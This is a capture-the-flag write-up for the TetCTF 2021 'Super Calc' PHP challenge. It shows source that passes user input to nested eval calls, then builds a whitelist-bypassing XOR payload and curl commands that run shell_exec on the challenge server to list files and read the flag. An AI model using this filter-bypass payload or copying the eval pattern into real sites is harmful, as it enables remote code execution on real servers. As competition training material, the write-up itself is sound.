Tags: php rce xor
Super Calc was a Web challenge featured in [TetCTF](https://ctf.hackemall.live/), a 2 day CTF run from the 1st to the 3rd of January, 2021. The challenge description was as follows:
> Let try on the next-generation, the superior Calculator that support many operations, made with love <3
The linked website was relatively simple, just returning the result of a calculation passed in through the `calc` parameter. Removing all parameters from the request resulted in the source code of the page conveniently being returned, which can be found below.
die("Tired of calculating? Lets relax <3");
echo 'Result: ';
eval("echo ".eval("return ".$_GET["calc"].";").";");
Right away we can see `eval` statements near the bottom of the file executing whatever is passed through the `calc` parameter, and the only thing between the input and the `eval` is a regular expression (regex), which effectively filters out everything that isn't a number and a handful of math related symbols. Aside from a length restriction to 70 characters, there is nothing immediately interesting with the source code.
Knowing that I had to somehow achieve code execution via the `eval` statements, I began to investigate methods that would allow me to covert the allowed characters into more useful characters, such as the alphabet. I was well aware of PHP's weakly typed nature and it's willingness to freely convert data types between each other, so I used this as my starting point. If I could craft a payload to circumnavigate the regex whilst remaining valid PHP code I would be able to achieve code execution on the server.
A character that immediately stood out as being accepted was `'`, which can be used to create strings, as well as a few characters that can be used for bit-wise operations, such as `^` (XOR), `|`, (OR) and `&` (AND). After some research, it became apparent that if two strings are combined with a bit-wise operator, each character would effectively be converted to it's ASCII code, then have the operator applied on it with the character of the same position in the other string.
For example `'A' ^ 'z'` would be broken down like so. First the characters would be substituted with their respective ASCII codes, in this case `65` for `A` and `122` for `z`, leaving us with `65 ^ 122`. Next the relevant operation (in this case XOR) would be performed on the two numbers, which would result in `59` for these two numbers. Finally, the result will be substituted with the character for that ASCII code, which is `;` for `59`. Just like that, we were able to create a character from two other completely unrelated characters.
# Payload Generation
With a method to create arbitrary characters, we should now be able to begin finding a way to bypass the filter. All we need to do is find combinations of allowed characters that will create our desired payload. Bearing in mind the character limit for the payload, as well as the difficulty in creating letters (at least 7 characters for each letter) I decided to take advantage of PHP [variable functions](https://www.php.net/manual/en/functions.variable-functions.php). Simply put, if a variable named `foo` had the value `"bar"` in it, executing `$foo()` would be the equivalent of executing `bar()`. Taking advantage of this, I can create a relatively small payload for arbitrary code execution: `$_GET($_GET)`. All this snippet does, is execute the function passed through `GET` parameter `1` with the contents of `GET` parameter `2` as the argument. This allows the payload to be quite small, with repeating (and by extension easy to encode) characters whilst remaining flexible enough to change the function being executed.
With the payload decided, the next step was to encode it. Being unaware of a quicker method (please let me know if there's a better way) I had no choice but to do the encoding by hand. Due to the nature of XOR operations, the values and the result can be swapped around. For example, if I know I want the result to be `10` and one of my values to be `3`, I can execute `10 ^ 3` which equates to `9`. Therefore, `3 ^ 9 = 10`. This same principle can be applied to the encoding of the payload. We know the result (the payload) and we know at least one of the values (the whitelisted characters, since they are the only ones that don't trigger the filter) so it doesn't require too much work to discover the second value. All that needs to be done for each letter of the payload, is try XOR it with each character that is whitelisted, one by one. If the result of the operation is whitelisted then it and the value that was XORed can be used to create the letter of the payload. All the XOR operations then can be concatenated with `.` in order to create the full string of the payload.
For example, if we are trying to encode `G`. We can start with `'0'` (character `0`, not ASCII code `0`).
'G' ^ '0' = 'w' (not whitelisted)
'G' ^ '1' = 'v' (not whitelisted)
'G' ^ '8' = 127 (not valid ASCII character)
'G' ^ '9' = '~' (whitelisted, success!)
And just like that we can use `'9' ^ '~'` to create `'G'`, the beginning of the payload! We can test this, by sending `'9'^'~'` in the `calc` parameter (note, no spaces as they aren't whitelisted).
$ curl http://126.96.36.199/?calc=%279%27^%27~%27
As predicted, `G` is returned, despite it not being a whitelisted character.
As a result of the limited characters allowed through the filter, not every character can be encoded in this manner. This is easily over come by using two rounds of encoding. The first round essentially 'creates' new characters that can be used despite them not being in the filter, and the second does the actual encoding to create the desired letter. The process is the exact same as outlined above, just with more trial and error. For example to create `$`, `'&' ^ ('(' ^ '*')` can be used.
If this process is continued for every character in `$_GET` (the main part of the payload) we would end up with `('&'^('('^'*')).('8'^('9'^'^')).('9'^'~').('9'^'|').('~'^'*').(('('^'-')^'^').('^'^('('^'+'))` and arrive at our first problem. With not even half of the payload encoded it is 94 characters long, well over the allowed 70 characters.
There are a few things that can be done to reduce the characters used. First, any nested brackets can be removed. Next, we can combine groups of characters that are encoded the same amount of times into the same string. For example, `('&' ^ '(' ^ '*') . ('8' ^ '9' ^ '^')` (spaces added for readability) can be reduced to `'&8' ^ '(9' ^ '*^'`. With these changes the payload is reduced to `('&8'^'(9'^'*^').('99~'^'~|*').('(^'^'-('^'^+')`, only 48 characters. An improvement but still not low enough to be used for the payload, since this section will be used twice. The only way to reduce the payload further would be to combine the parts of the payload that are encoded once with the parts that are encoded twice. To do this I had to discard the parts of the payload which were encoded once, and recreate those characters with the double encoding. Doing this results in `'(9222(('^'*^^^^-+'^'&8+)8^^'` with a length of 30 characters.
The final step for the creation of the payload was to add in the parenthesis and the indexes for the parameters. Since numbers and parenthesis are whitelisted characters, it wasn't necessary to spend time trying to encode them. In order to preserve space, it was preferential to include them in the XOR strings anyway. Since there were two rounds of XOR, if the same character was included in both rounds, it will result in the same character, so `'a' ^ 'a' ^ 'a' = 'a'`. Utilising this, it was simple to include the needed characters and complete the payload:
Now for the easy part! Passing the payload to the `calc` parameter, `shell_exec` to the `1` parameter and a command to the `2` parameter, we can execute any command on the system! For example:
$ curl "http://188.8.131.52/?calc='(9222(1(((9222(2()'^'*^^^^-1%2b(*^^^^-2%2b())'^'%268%2b)8^1^(%268%2b)8^2^())'&1=shell_exec&2=ls%20-la%20|%20base64"
To ensure nothing funky happens with the command outputs, everything is piped to `base64`, which we can decode to see the result!
drwxr-xr-x 2 root root 4096 Dec 30 16:02 .
drwxr-xr-x 3 root root 4096 Dec 30 15:50 ..
-rw-r--r-- 1 root root 116 Dec 30 16:02 fl4g1sH3re.php
-rw-r--r-- 1 root root 514 Dec 30 15:54 index.php
And just like that, we can see our exploit works and we can also see where the flag is!
$ curl "http://184.108.40.206/?calc='(9222(1(((9222(2()'^'*^^^^-1%2b(*^^^^-2%2b())'^'%268%2b)8^1^(%268%2b)8^2^())'&1=shell_exec&2=base64%20fl4g1sH3re.php"